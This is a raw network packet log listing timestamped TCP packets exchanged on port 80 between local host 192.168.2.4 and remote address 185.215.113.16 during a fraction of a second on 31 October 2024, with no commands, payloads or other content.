Oct 31, 2024 20:52:17.514081955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514100075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514108896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514153957 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.514211893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514219046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514235973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514262915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.514264107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514269114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514278889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514281988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.514287949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514306068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514311075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514317036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514317989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.514322042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514352083 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.514367104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514369011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.514372110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.514411926 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551069975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551079035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551084995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551093102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551122904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551130056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551139116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551141977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551147938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551155090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551161051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551163912 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551187992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551222086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551234007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551323891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551331997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551337004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551342010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551367998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551395893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551460981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551465988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551508904 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551508904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551516056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551544905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551551104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551551104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551562071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551590919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551625967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551631927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551651001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551676035 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551693916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551734924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551740885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551753044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551758051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551764011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551775932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551785946 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551819086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551862001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551867008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551873922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551881075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551886082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551899910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.551963091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551970959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551984072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.551990986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552000046 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552011013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552051067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552102089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552108049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552115917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552122116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552133083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552138090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552150965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552156925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552156925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552164078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552170992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552192926 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552215099 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552217960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552295923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552301884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552308083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552311897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552318096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552325964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552345037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552351952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552357912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552362919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552367926 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552370071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552407980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552427053 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552548885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552556038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552567005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552572012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552580118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552638054 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552670956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552676916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552689075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552695990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552702904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552720070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552747965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552752972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552758932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552768946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552800894 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552834034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552846909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552859068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552886963 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.552941084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552952051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552959919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552964926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552972078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552977085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552983046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.552988052 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553023100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553061962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553069115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553075075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553102016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553112984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553158045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553164959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553175926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553184986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553191900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553204060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553208113 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553242922 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553244114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553258896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553266048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553277016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553284883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553312063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553337097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553353071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553359985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553371906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553378105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553384066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553395987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553401947 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553440094 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553469896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553477049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553491116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553513050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553519964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553519964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553536892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553556919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553590059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553596973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553603888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553636074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553670883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553678036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553683996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553689957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553695917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553709030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553744078 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553811073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553879023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553885937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553925991 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.553934097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553939104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553945065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553951979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.553980112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554090977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554095984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554107904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554114103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554119110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554125071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554138899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554145098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554146051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554171085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554187059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554335117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554341078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554352999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554358959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554364920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554371119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554377079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554378033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554383993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554394007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554400921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554405928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554411888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554414034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554431915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554449081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554471016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554585934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554599047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554610014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554615021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554621935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554632902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554640055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554645061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554646015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554678917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554689884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554713964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554719925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554730892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554759979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554826975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554832935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554843903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554851055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554856062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554868937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554876089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554877043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554888964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554900885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554923058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.554977894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554985046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.554996014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.555033922 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.633419037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633443117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633456945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633469105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633475065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633481979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633490086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633493900 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.633517027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.633552074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.633567095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633573055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633579016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633584023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633616924 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.633645058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633651972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633665085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633694887 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.633861065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633867979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633878946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.633920908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.634264946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.634272099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.634284019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.634316921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.634318113 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.634324074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.634358883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.635535002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.635555983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.635560989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.635591984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.635612011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.635633945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.635644913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.635682106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.636456966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636482954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636493921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636535883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.636596918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636609077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636615992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636627913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636634111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636639118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.636676073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.636692047 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.636782885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636795998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636811018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636823893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636830091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636835098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636837006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.636842012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636847019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.636869907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.636887074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673510075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673553944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673559904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673568964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673593998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673635006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673640966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673650980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673655987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673661947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673683882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673688889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673706055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673731089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673799992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673805952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673810959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673816919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673827887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673832893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673840046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673846006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673846960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673886061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.673924923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673930883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.673942089 CET	80	49740	185.215.113.16	192.168.2.4
